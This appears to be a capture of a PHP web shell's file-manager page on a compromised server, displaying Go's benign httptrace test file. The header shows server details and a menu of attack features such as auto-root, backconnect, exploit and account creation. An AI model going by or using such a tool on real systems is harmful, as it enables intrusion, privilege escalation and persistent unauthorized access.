Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
net /
http /
httptrace /
[ HOME SHELL ]
Name
Size
Permission
Action
example_test.go
712
B
-rw-r--r--
trace.go
8.11
KB
-rw-r--r--
trace_test.go
1.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : trace_test.go
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package httptrace import ( "bytes" "context" "testing" ) func TestWithClientTrace(t *testing.T) { var buf bytes.Buffer connectStart := func(b byte) func(network, addr string) { return func(network, addr string) { buf.WriteByte(b) } } ctx := context.Background() oldtrace := &ClientTrace{ ConnectStart: connectStart('O'), } ctx = WithClientTrace(ctx, oldtrace) newtrace := &ClientTrace{ ConnectStart: connectStart('N'), } ctx = WithClientTrace(ctx, newtrace) trace := ContextClientTrace(ctx) buf.Reset() trace.ConnectStart("net", "addr") if got, want := buf.String(), "NO"; got != want { t.Errorf("got %q; want %q", got, want) } } func TestCompose(t *testing.T) { var buf bytes.Buffer var testNum int connectStart := func(b byte) func(network, addr string) { return func(network, addr string) { if addr != "addr" { t.Errorf(`%d. args for %q case = %q, %q; want addr of "addr"`, testNum, b, network, addr) } buf.WriteByte(b) } } tests := [...]struct { trace, old *ClientTrace want string }{ 0: { want: "T", trace: &ClientTrace{ ConnectStart: connectStart('T'), }, }, 1: { want: "TO", trace: &ClientTrace{ ConnectStart: connectStart('T'), }, old: &ClientTrace{ConnectStart: connectStart('O')}, }, 2: { want: "O", trace: &ClientTrace{}, old: &ClientTrace{ConnectStart: connectStart('O')}, }, } for i, tt := range tests { testNum = i buf.Reset() tr := *tt.trace tr.compose(tt.old) if tr.ConnectStart != nil { tr.ConnectStart("net", "addr") } if got := buf.String(); got != tt.want { t.Errorf("%d. got = %q; want %q", i, got, tt.want) } } }
Close